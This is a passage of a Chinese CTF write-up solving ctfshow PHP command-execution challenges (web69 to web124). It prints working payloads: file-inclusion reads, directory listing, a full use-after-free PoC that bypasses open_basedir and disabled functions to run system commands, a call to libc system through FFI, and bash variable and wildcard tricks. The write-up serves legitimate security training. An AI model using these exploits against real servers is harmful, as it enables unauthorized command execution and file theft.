这里依旧可以使用 scandir 函数列出,最终 FLAG 在根目录下,名为 flag.txt ,使用上一题 PAYLOAD 读取即可。

PAYLOAD:

1
2
3
4
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web69 函数禁用-6

访问页面,提示如下:

image-20231023220832409

尝试使用 scandir() 函数获取当前目录下的内容,发现打印数组的函数 var_dumpprint_r 被禁用,于是只能使用 foreach 进行遍历数组中的元素打印:

1
c=foreach (scandir('.') as $file) {echo $file . "<br/>";};

image-20231023221340277

发现这里存在 flag.php文件。尝试使用 include 配合 php://filter 伪协议进行读取 flag.php 文件的内容:

1
c=include('php://filter/read=convert.base64-encode/resource=flag.php');

image-20231023221909882

image-20231023221936191

接着读取服务器根目录下的文件:

1
c=foreach (scandir('/') as $file) {echo $file . "<br/>";};

image-20231023222018616

发现存在 flag.txt

其实这里还可以使用 var_export

PAYLOAD:

1
2
3
4
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

这里说一下,includerequire 其实不是函数,而是PHP的语句。因此 PHP 是无法禁用该语句的。

web70 函数禁用-7

访问页面,如下:

image-20231023222617310

按照上一题的代码,本题应该也是传入参数c,这里我们先进行个目录列出:

1
c=foreach (scandir('/') as $file) {echo $file . "<br/>";};

image-20231023222759104

当然这里也可以使用 PHP的内置类DirectoryIterator 进行目录的列出:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

image-20231023223355697

PAYLOAD 同上一关。

web71 函数禁用-8

访问网站出现如下页面:

image-20231024082004623

可以通过附件地址下载网页的源码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

这里出现了陌生的函数 ob_get_contentsob_end_clean();,我们查官方文档可知:

ob_get_contents

返回输出缓冲区的内容

参数 说明
该函数没有参数

ob_end_clean

清理(擦除)输出缓冲区并关闭输出缓冲

参数 说明
该函数没有参数

那么,这里我们大概知道了,当我们传入 `` 的时候,由于会先执行 ob_get_contents 函数,这里会将缓冲区(待输出)的内容赋值给了 $s 变量,接着执行 ob_end_clean 清空一切待打印输出的内容。因此在该函数之前缓冲区中没有任何需要打印的内容了。

由于将缓冲区的内容提前赋值给了 $s 变量,所以这里他又使用 preg_replace 函数匹配 字母、数字 将其替换为 ?。因此传入如下 PAYLOAD,网页会显示如下内容:

image-20231024085101009

对字母和数字都替换为了问号。

由于我们传入的内容,作为了 eval 函数的参数,因此我们可以在 原本PAYLOAD 的结尾加上 exit() 表示退出程序,ob_get_contents 和 之后的代码都不会执行到。

PAYLOAD:

1
c=var_export(scandir('/'));exit();

image-20231024085307454

1
c=include('/flag.txt');exit();

image-20231024085349293

web72 函数禁用-9

附件源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

尝试使用上一题的 PAYLOAD 进行列出目录:

1
c=var_export(scandir("/"));exit();

image-20231024112419347

发现这里有 open_basedir 的限制,因此这里无法列出根目录下的内容,不过这里可以使用 PHP 的内置类 DirectoryIterator 进行列出。

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};exit();

image-20231024112641431

尝试使用 include 去引入根目录下的 flag0.txt 文件的内容,但是由于存在 open_basedir 的限制,故而不能使用该方法。

open_basedir 的作用:

open_basedir 可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号.来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说:

open_basedir = /var/www/html, 那么目录 /var/www/html/var/www/html666都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成: open_basedir = /var/www/html/,这个就表示 只能访问 /var/www/html/ 目录下的内容。

open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。

image-20231024114358634

这里需要使用 UFA 绕过 open_basedir,PAYLOAD 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

我们将其进行 URL 编码之后 传给服务器,即可得到FLAG:

image-20231024161141168

web73 函数禁用-10

源码同上,这里使用上一题的 PAYLOAD 进行做题,由于禁用了 strlen 函数,然而 PYALOAD 中使用了 strlen 函数,故而报错。

image-20231024162023362

image-20231024161749956

先列出根目录下的内容:

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};exit();

image-20231024162229060

发现根目录存在 flagc.txt 文件。

这里直接尝试使用 include 读取函数读取:

1
c=include('/flagc.txt');exit();

image-20231024164221545

我们上一题 PAYLOAD 不能使用的原因是,服务器禁用了我们使用 strlen 函数,因此这里我们只需要重写 strlen 函数的功能即可,修改后的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

function strlen_user($s)
{
$ret=0;
for($i=0;$i<1000000;$i++)
{
if($s[$i])
{
$ret=$ret+1;
}
else
{
break;
}
}
return $ret;
}


class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen_user($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flagc.txt");ob_end_flush();

同样对以上内容进行 URL 编码发送:
image-20231024165637158

但是这里不知道什么原因,服务器返回了502…

web74 函数禁用-11

源码同上:

这里使用 PHP 的内置类,遍历出根目录下的内容,由于 scandir 函数被禁用,故而不能使用该函数。

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};exit();

image-20231025091344105

PAYLOAD:

1
c=include('/flagx.txt');exit();

image-20231025091434794

web75-76 函数禁用-12

这里也是函数禁用,源码都一样。

首先使用 PHP 内置类,列出根目录下的文件:

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};exit();

image-20231025091920015

发现根目录下存在文件 flag36.txt ,这里使用 include 进行包含读取:

1
c=include('/flag36.txt');exit();

image-20231025092045581

发现存在 open_basedir 的限制,由于这里了禁用了 PHP 的内置函数 strlen,所以我们这里需要重写 strlen 函数的功能,但是发送之后,服务器报502。

image-20231025091852267

这里是使用服务器的 MYSQL 的 load_file 函数进行读取本地文件,PAYLOAD 如下:

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20231025092520026

web77 函数禁用-13

同样是先试用PHP内置类获取根目录下的内容:

1
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};exit();

发现存在 flagx.txt ,同时存在readflag这里尝试使用上一题的MYSQL直接读取flag文件:

image-20231025093002925

发现提示 could not find driver。(找不到驱动程序),通过服务器响应的字段来看,得知服务器的PHP版本为 PHP/7.4.9

image-20231025093217475

在 PHP7.4 支持一个全新的扩展 FEI ,该扩展提供了高级语言之间的相互调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。

PAYLOAD如下:

1
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

解析如下:

1
2
3
$ffi=FFI::cdef("int system(char *command);", "libc.so.6");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);// 通过$ffi去调用system函数

大概意思就是通过调用C语言的 libc.so.6 库去创建 system对象,接着利用该对象执行系统的命令。但是这里system 对象并不回显命令的执行结果,因此需要将 readflag读取的内容重定向到当前目录下的 1.txt 文件中,最后访问该文件,即可得到FLAG。

image-20231025100113807

web118 利用PATH读取文件

访问网站,出现如下页面:

image-20231025105744842

右键查看源代码,发现提示信息:

image-20231025105854123

尝试在输入框内输入任意命令、以及数字发现都提示 evil input

image-20231025105929277

这里尝试输入 Linux 中的变量 ${IFS} 发现并没有任何回显,也就是说,可以使用 ${} 以及大写字母也是可以用的。

经过 Fuzz 之后发现可以使用 大写字母-AZ 以及 ${}~.?:

在 Linux 中存在一个内置变量 PWD,该变量的值为当前路径:

1
2
# echo ${PWD}
/var/www/html

Linux 中的 PATH 变量为环境变量的路径:

1
2
# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

同时在 Linux 中也可以对变量的值进行截取:

1
2
3
4
5
6
7
8
# echo ${PWD:0:1}       # 表示从0开始截取一位
/
# echo ${PWD:~0:1} # 表示从右边开始截取,截取一位
l
# echo ${PWD:~0} # 表示从右边开始就去,截取1位
l
# echo ${PWD:~A} # 这里字母A和0具有同样作用(可以是任意字母)
l

这里我们可以通过 PATH 变量的值,进行截取,构造出字符串 nl,首先看 Linux 变量 PATH 默认的值,发现最后一个值是 n,如果我们想要构造出nl命令,需要获取该值。

1
2
3
 # echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# 构造 ${PATH:~0} 得到 n

但是由于这里过滤了数字,因此不能使用 数字 0,因此可以使用 大写的字母代替:

1
${PATH~A}

此时 n 就得到了,但是 l 该怎么获取呢,我们使用 PWD 变量即可获取,一般情况下,网站根目录为 /var/www/html,我们使用 PWD 获取最后一个值,即可得到 l

1
2
3
# echo ${PWD}
/var/www/html
# 构造 ${PWD:~A} 得到 l

image-20231025141422945

页面提示 flag in flag.php 最后构造:

1
${PATH:~A}${PWD:~B}$IFS????.???

image-20231025141628758

其他方法:

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开 SHELL 时 ${SHLVL}=1 ,然后在此 shell 中再打开一个 SHELL 时 ${SHLVL}=2

image-20231025142353903

${PWD:$ 来替代数字,截取想要的字符串:

1
2
3
# ${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4,3等
# 由于是随机数,这里需要多试几次
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119 利用内置变量+通配符的文件读取-1

本道题基本同上,但是禁用了 ${PATH}

PAYLOAD:

1
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

释义:

1
2
3
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php

web120 利用内置变量+通配符的文件读取-2

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

通过代码审计发现这里过滤了 \x09\x0a字母 a-z数字 0-9PATHBASHHOME/()[]\\+-!=^*\x26%<>单引号双引号反引号|逗号

但是这里并没有过滤 大写字母A-Z$?*空格

PAYLOAD:

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

释义:

1
2
3
4
5
6
7
8
9
#       ${PWD::${#SHLVL}} ===> /
# ??? ==> 通配符 希望是 bin
# {PWD::${#SHLVL}} ===> /
# ? ==> 通配符 希望是c
# ${USER:~A} ===> 获取当前用户名最后一位,据说用户名最后一位是a
# ? ===> 通配符 希望是t
# ????.??? ===> 通配符 希望是 flag.php

# 最终组成命令 /bin/cat flag.php

image-20231025184950763

web121 利用内置变量+通配符的文件读取-3

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

这里过滤了大量字符,并且 PAYLOAD 的长度不能大于65个字符。

PAYLOAD1:

1
2
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
# 拼接 /bin/rev 读取flag.php的内容

image-20231025190212123

rev 命令将文件中的每行内容以字符为单位反序输出,因此得到的 FLAG 是反序的。

这里在本地 Linux 环境使用 rev 命令反过来即可:

image-20231025190315155

PAYLOAD2:由于有随机数,需要多试几次

1
2
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???
# 拼接 /bin/base64 读取 flag.php 的内容编码并输出

image-20231025190022510

web122 web121 利用内置变量+通配符的文件读取-4

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

本道题比上一题多过滤了一些字符,由于过滤了 # 无法使用上一题的PAYLOAD。

PAYLOAD:

通过 $? 来实现的,$? 是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

这里由于使用了 RANDOM 随机数变量,因此需要多刷新几次,我这里直接使用了 BP 的 Intrude 模块:

image-20231025191148988

web124 代码审计

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

题目分析

这里需要对源码进行代码审计,逐段进行分析:

1
2
3
4
5
6
7
8
<?php
// 接收参数c并将参数c的值赋值给变量$content
$content = $_GET['c'];
// 参数c的值长度不能超过80个字符
if (strlen($content) >= 80) {
die("太长了不会算");
}
?>

通过以上代码得到第一个条件:参数c的值长度不能大于80个字符。

1
2
3
4
5
6
7
8
9
// 定义黑名单: 空格、TAB键、换行符、单引号、双引号、反引号、左中括号、右中括号。
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
// 遍历黑名单数组 取出每个值
foreach ($blacklist as $blackitem) {
// 遍历用户传入参数c值是否带有黑名单的字符
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}

通过以上代码得到第二个条件:参数c的值不能带有 空格、TAB键、换行符、单引号、双引号、反引号、左中括号、右中括号。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 定义白名单
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
// 从用户传入的c参数值中匹配: a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff,并将匹配到的每个值放入$used_funcs数组中。
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 遍历$user_funcs数组的每个值
foreach ($used_funcs[0] as $func) {
// 将$user_funcs数组中每个元素与白名单中的对比,必须在白名单中,才可以
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
?>

preg_match_all

参数 说明
pattern 执行的正则表达式
subject 执行操作的字符串
matches 多维数组中所有匹配项的数组。(其实就是将匹配到的值,放入到一个多维数组中)。

函数示例:

1
2
3
4
5
<?php
$str1 = 'hello world my name is x1ong';
preg_match_all("/hello|world|name|x1ong/", $str1, $arr);
print_r($arr);
?>

输出结果:

image-20231026183919106

通过以上代码得到第三个条件:使用的函数必须在 $whitelist 数组中所定义。

条件总结如下:

  • 参数c的值长度不能大于80个字符
  • 参数c的值不能带有 空格、TAB键、换行符、单引号、双引号、反引号、左中括号、右中括号。
  • 使用的函数必须在 $whitelist 列表中所定义。

知识了解

函数知识

base_convert

在任意基数之间转换数字

参数 说明
